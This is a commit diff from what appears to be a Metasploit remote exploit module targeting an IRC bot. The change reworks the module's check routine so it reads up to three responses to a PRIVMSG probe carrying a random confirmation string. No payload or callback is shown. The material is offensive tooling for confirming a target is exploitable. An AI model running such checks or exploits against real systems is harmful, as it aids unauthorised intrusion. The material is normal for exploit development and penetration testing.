added a 3 message window for recieving the check response
parent
ce9f11aeb3
commit
6cf44d9c85
|
@ -71,8 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
confirm_string = rand_text_alpha(8)
|
||||
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
|
||||
print response
|
||||
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n", ":#{datastore['RNICK']}")
|
||||
quit(sock)
|
||||
disconnect
|
||||
|
||||
|
@ -83,15 +82,22 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def send_msg(sock, data)
|
||||
def send_msg(sock, data, startResponse = nil)
|
||||
sock.put(data)
|
||||
data = ""
|
||||
count = 3
|
||||
begin
|
||||
read_data = sock.get_once(-1, 1)
|
||||
while not read_data.nil?
|
||||
data << read_data
|
||||
begin
|
||||
read_data = sock.get_once(-1, 1)
|
||||
end
|
||||
while not read_data.nil?
|
||||
data << read_data
|
||||
read_data = sock.get_once(-1, 1)
|
||||
end
|
||||
if startResponse != nil and data.start_with?(startResponse)
|
||||
startResponse = nil
|
||||
end
|
||||
count -= 1
|
||||
end while startResponse == nil and count != 0
|
||||
rescue EOFError
|
||||
end
|
||||
data
|
||||
|
|
Loading…
Reference in New Issue